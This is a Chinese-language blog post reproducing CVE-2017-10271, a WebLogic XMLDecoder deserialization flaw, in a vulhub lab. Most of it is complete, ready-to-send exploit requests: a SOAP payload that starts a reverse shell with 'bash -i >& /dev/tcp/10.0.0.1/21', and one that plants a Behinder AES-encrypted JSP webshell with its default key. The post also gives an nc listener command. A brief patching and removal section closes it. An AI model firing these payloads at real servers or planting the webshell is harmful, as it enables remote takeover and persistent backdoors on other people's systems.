CVE-2017-10271 Weblogic XMLDecoder 反序列化

发布于 2021-08-13  91 次阅读


漏洞描述

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。官方在2017年4月份提供了补丁成勋,但是被绕过,十月份再次更新补丁。

漏洞影响

Weblogic:10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0。

漏洞地址:http://weblogic_ip/wls-wsat/xxxx

漏洞复现

环境搭建

cd /vulhub-master/weblogic/CVE-2017-10271
docker-compose up -d

漏洞识别

执行poc进行验证

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
  <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
  <java><java version="1.4.0" class="java.beans.XMLDecoder">
  <object class="java.io.PrintWriter">
  <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
  <void method="println"><string>
  <![CDATA[
<% out.print("test"); %>
  ]]>
  </string>
  </void>
  <void method="close"/>
  </object></java></java>
  </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

攻击流程

写入反弹Shell

  • 首先主机要开启监听
nc -lvvp 7777
  • 构造数据包(注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误)
  • 反弹Shell成功

写入Webshell

  • 构造数据包
  • 访问http://192.168.43.165:7001/bea_wls_internal/test.jsp,出现空白页面,证明写入成功
  • 使用冰蝎连接

漏洞POC

反弹shell

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/10.0.0.1/21 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

webshell(冰蝎马,地址:http://your-ip:7001/bea_wls_internal/test.jsp)

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
  <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
  <java><java version="1.4.0" class="java.beans.XMLDecoder">
  <object class="java.io.PrintWriter">
  <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
  <void method="println"><string>
  <![CDATA[
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
  ]]>
  </string>
  </void>
  <void method="close"/>
  </object></java></java>
  </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

漏洞修复

  1. 临时解决方案 根据业务所有需求,考虑是否删除WLS-WebServices组件。包含此组件路径为:
Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war

Middleware/wlserver_10.3/server/lib/wls-wsat.war

以上路径都在WebLogic安装处。删除以上文件之后,需重启WebLogic。确认http://your_ip/wls-wsat/ 是否为404页面。

  1. 官方补丁修复 前往Oracle官网下载10月份所提供的安全补丁。

参考链接

https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271

https://github.com/Tom4t0/Tom4t0.github.io/blob/master/_posts/2017-12-22-WebLogic%20WLS-WebServices%E7%BB%84%E4%BB%B6%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90.md